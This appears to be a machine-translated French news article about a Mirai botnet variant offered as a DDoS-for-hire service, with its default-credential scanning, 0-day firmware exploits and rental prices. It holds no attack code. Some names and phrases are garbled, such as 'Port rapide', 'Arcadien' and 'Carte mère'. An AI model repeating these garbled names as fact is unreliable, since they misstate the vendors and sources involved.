Auparavant, nos experts ont étudié le code du botnet Mirai - il s'est avéré qu'il n'avait pas été créé spécifiquement pour les appareils Internet des objets. Les logiciels malveillants recherchent les appareils connectés au réseau avec des identifiants et des mots de passe par défaut (admin:admin, root:password, etc.). Cela signifie que, en théorie, cela peut inclure n’importe quel appareil, y compris les ordinateurs personnels, les serveurs ou les routeurs.

Appareils IoT- généralement des routeurs - inclus dans Botnet Mirai jusqu'à ce qu'il redémarre - le ver est alors effacé de leur mémoire. Cependant, le botnet analyse constamment Internet à la recherche d’appareils vulnérables, afin qu’un appareil « guéri » puisse rapidement en faire à nouveau partie. Il existe une véritable course entre les hackers pour être les premiers à infecter le plus d’appareils possible.

Il n'y a aucune information sur la manière dont les créateurs de la nouvelle Mirai parviennent à dépasser leurs concurrents. Cependant, ils ont déclaré aux journalistes qu'ils utilisaient leur propre botnet pour analyser les appareils potentiellement vulnérables, y compris ceux qui faisaient auparavant partie du botnet.

"Pourquoi ne pas laisser le Mirai chasser le Mirai et dévorer l'original", déclare BestBuy.

Pas seulement Mirai

Cependant, le nouveau botnet n’a pas seulement absorbé les anciens appareils Mirai et les nouveaux dotés de mots de passe par défaut. Ses créateurs utilisent également des vulnérabilités de type 0-day dans le firmware des appareils IoT. Les experts avaient déjà prédit l’émergence imminente de tels botnets « combinés ».

La lutte contre eux devient sensiblement plus compliquée - si pour contrer Mirai, l'utilisateur de l'appareil final n'a besoin que de modifier le login et le mot de passe pour y accéder, il ne pourra alors pas faire face seul aux vulnérabilités du gadget. .

DDoS à 700 Gbit/s

Les pirates informatiques BestBuy et Popopret ont commencé à faire la publicité de leurs services - ils offrent un accès à leurs nouvelle version Mirai, envoyant des messages spam via XMPP/Jabber,

Selon le hacker, ils proposent à leurs clients plusieurs packages de services. Le moins cher en vaut la peine $2 000 - pour cet argent, les clients peuvent louer 20 000 à 25 000 nœuds de botnet pour lancer des sentinelles pendant deux semaines maximum, avec un temps de pause de quinze minutes entre les attaques. Derrière $15 000 ou $20 000 les clients ont désormais la possibilité de demander à 600 000 robots de lancer des attaques de deux heures avec des pauses de 30 ou 15 minutes. Dans le deuxième cas, la puissance d'attaque sera 700 Gbit/s ou plus.

Perspectives

Sécurité Appareils IoT est souvent à un niveau assez bas - cela s'explique par le fait que les fournisseurs ne sont souvent pas intéressés par la mise en œuvre de mesures supplémentaires sécurité des informations. Ils vantent la facilité d'utilisation de leurs produits, mais toutes les mesures de sécurité supplémentaires imposent des restrictions et nécessitent des ressources.

Comme indiqué ci-dessus, seuls les développeurs d’appareils finaux ou les fournisseurs qui les fournissent (dans le cas des routeurs) peuvent protéger les utilisateurs contre les botnets plus avancés. Le fournisseur allemand Deutsche Telekom, touché par l'attaque de la nouvelle version de Mirai, a déjà annoncé qu'il « reconsidérerait ses relations commerciales » avec les fournisseurs de routeurs vulnérables Port rapide, entreprise Arcadien.

À terme, il sera possible d'augmenter le niveau de sécurité de l'Internet des objets grâce à l'introduction d'un contrôle plus strict des appareils de la part des fournisseurs, d'une part, et au développement de normes et de documents réglementaires pour l'IoT, d'autre part. . Des mesures similaires ont déjà été prises dans de nombreux pays pour garantir la sécurité des systèmes automatisés de contrôle des processus. Les premiers pas dans cette direction ont déjà été faits - par exemple, plusieurs fournisseurs informatiques ont publié en septembre un document intitulé L'industriel la sécurité sur Internet Cadre (IISF)- il propose de considérer l'Internet des objets comme faisant partie de « l'Internet industriel ».

Cependant, le problème est encore loin d'être définitivement résolu, et les pirates BestBuy et Popopret peut obtenir un monopole sur une grande échelle Attaques DDoS en ligne. C'est un fait plutôt triste, mais les hackers eux-mêmes, lors d'une conversation avec Carte mère ont déclaré que leurs activités seraient guidées non seulement par le profit, mais aussi par des principes moraux. BestBuy a donc déclaré qu'il ne permettrait pas aux clients d'attaquer les adresses IP des entreprises travaillant avec des infrastructures critiques.




Haut